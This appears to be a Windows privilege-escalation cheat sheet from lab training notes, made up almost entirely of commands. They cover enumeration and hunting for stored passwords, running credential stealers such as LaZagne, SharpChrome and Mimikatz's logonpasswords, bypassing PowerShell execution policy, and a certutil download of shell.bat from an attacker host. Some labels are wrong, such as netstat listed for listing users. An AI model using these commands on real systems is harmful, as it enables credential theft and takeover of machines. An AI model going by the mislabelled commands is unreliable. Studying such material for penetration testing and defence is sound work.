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Enumeration

System Enumeration:

Display the system’s hostname: helps identify it among other devices.

hostname

Display detailed information about the system’s version and OS

systeminfo

Check Windows version

 wmic os get caption, version, osarchitecture
 systeminfo | findstr /B /C: "OS Name" /C: "OS Version" /C:"System Type"
    
 # wmic ( windows manager instrumentation command line ) 
 # qfe ( quick fix engineering ) 
 # to see whats patched
    
 wmic qfe get Caption,Description,HotFixID,InstalledOn
 wmic logicaldisk get caption,description,providername

Tasklist

tasklist /svc

Display All Environment Variables

set

Display Running process

netstat -ano

Enumerating Always Install Elevated Settings

# any app default install with system privilege
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

# if two option enabled then generate MSI payload and execute it to take a reverse shell

Display all service running with local system priv

Get-WmiObject Win32_Service | Where-Object { $_.StartName -eq "LocalSystem" } | Select-Object Name, DisplayName, StartName

Display all service you have Write permission

accesschk.exe /accepteula -uwcqv <userAccount> * > services.txt
# search on privilege for this service 
sc qc <ServiceName>

Collect auto run app

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

User Enumeration:

Display Privilege for current user

# **Try to run it with local Admin privilege**
whoami /priv

List groups the user belongs to

whoami /groups

List all users on the system

netstat

Show detailed info about a specific user

net user <username>

List members of a local group

net localgroup <groupName>

Logged-In Users

query user

Get Password Policy & Other Account Information

net accounts

Network Enumeration

Show full network configuration

ipconfig /all

Show ARP table (IP ↔ MAC mapping)

arp -a

Display system routing table

route print

Show active network connections with PIDs4

netstat -ano

Named Pipes

pipelist.exe /accepteula
gci \\.\pipe\

search for all named pipes that allow write access

accesschk.exe -w \pipe\* -v 

# **Checking specifc Named Pipe Permissions**
accesschk.exe -accepteula -w \pipe\<specificName>-v

Password Hunting

Search File Contents for String

# search on password in this extentions
C:\htb> cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txt

# display full lines has password
C:\htb> findstr /si password *.xml *.ini *.txt *.config

# display the full line and number of it
C:\htb> findstr /spin "password" *.*

Search for File Extensions

# search on specific file have these names
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*

Search on Password in specific range

Get-ChildItem -Path C:\Users\ -Recurse -File | Select-String -Pattern 'password'

Look for plaintext passwords in Windows setup files

type %WINDIR%\Panther\Unattend\Unattended.xml

User/Computer Description Field

Get-LocalUser

Search for password in register

reg query HKLM /f password /t REG_SZ /s

find admin AutoLogon credentials

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

Cmdkey Saved Credentials

# use to check if user store credintial in terminal
cmdkey /list

Chrome Dictionary Files

gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password

PowerShell History File

gc (Get-PSReadLineOption).HistorySavePath

Looking for StickyNotes DB Files

 cd C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState ; ls

Windows Auto-login

# if we found this option enable we can extract cleartext creds
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

SharpChrome

use to to retrieve cookies and saved logins from Google Chrome.

Usage:

  • Download SharpChrome

  • Run the script in PowerShell:

    .\SharpChrome.exe logins /unprotect

LaZagne

retrieve credentials from a wide variety of software. Such software includes web browsers, chat clients, databases, email, memory dumps, various sysadmin tools, and internal password storage mechanisms (i.e., Autologon, Credman, DPAPI, LSA secrets, etc.

Usage:

  • Download LaZagne

  • Run the script in PowerShell:

    .\lazagne.exe all

SessionGopher

We can use it to extract saved PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP credentials.

Usage:

  • Download SessionGopher

  • Run the script in PowerShell:

    Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Target WINLPE-SRV01  # target machine name

AV Enumeration

Check Windows Defender Status

Get-MpComputerStatus
sc query windefend

List AppLocker Rules

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Test AppLocker Policy

Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\**cmd.exe** -User Everyone
# replace cmd path with any path u wnat check it

List all services, including antivirus software

sc queryex type= service

Exploring Automated Tools

WinPEAS

WinPEAS is part of the PEAS (Privilege Escalation Awesome Scripts) suite. It is a script designed to automate the process of finding potential privilege escalation vectors on Windows systems.

Usage:

  • Download the WinPEAS file from the repository.

  • Upload the file to the target system and execute it.

      peas.exe

Sherlock

Sherlock is a PowerShell script that scans for known vulnerabilities in the Windows operating system that can be exploited for privilege escalation.

Usage:

  • Download https://github.com/rasta-mouse/Sherlock

  • Run it in a PowerShell session with the command:

    powershell -ep bypass # move session from cmd to PS
.\Sherlock.ps1

Watson

Watson is a vulnerability scanner that helps identify vulnerabilities based on the system’s patch level. It’s used to identify missing patches or configurations that could lead to privilege escalation.

Usage:

  • Download Watson.exe or compile it.

  • Run the executable in the system:

      Watson.exe

PowerUp

PowerUp is part of PowerSploit, a collection of PowerShell scripts that can be used for post-exploitation. PowerUp specifically looks for privilege escalation opportunities on Windows systems.

Usage:

  • Download PowerUp.ps1.

  • Run the script in PowerShell:

     powershell -ep bypass
  .\PowerUp.ps1

Seatbelt

Local info gathering (users, creds, configs, escalation paths)

Usage:

  • Download https://github.com/GhostPack/Seatbelt.git

  • Run the script in PowerShell:

    Seatbelt.exe all

JAWS (Just Another Windows Script)

JAWS is a PowerShell script used for post-exploitation and enumeration. It focuses on gathering information about the system, its users, and potential privilege escalation paths.

Usage:

  • Download JAWS-enum.ps1.

  • Run the script in PowerShell:

      powershell -ep bypass
  .\JAWS-enum.ps1

Mimikatz

It allows for the extraction of plaintext credentials from memory, password hashes from local SAM/NTDS.dit databases, advanced Kerberos functionality, and more.

Usage:

  • Download https://github.com/gentilkiwi/mimikatz

  • Run the script in PowerShell:

    mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

Transfer Files

Certutil

certutil.exe, whose intended use is for handling certificates but can also be used to transfer files from attacker to victim machine by either downloading a file to disk or base64 encoding/decoding a file.

Usage:

  • Run the script in PowerShell:

    certutil.exe -urlcache -split -f http://AttackerIP:8080/shell.bat shell.bat

# open HTTP server on attacker box

Kernel Exploit

Search using KB

systeminfo
# to know KBs

https://github.com/SecWiki/windows-kernel-exploits

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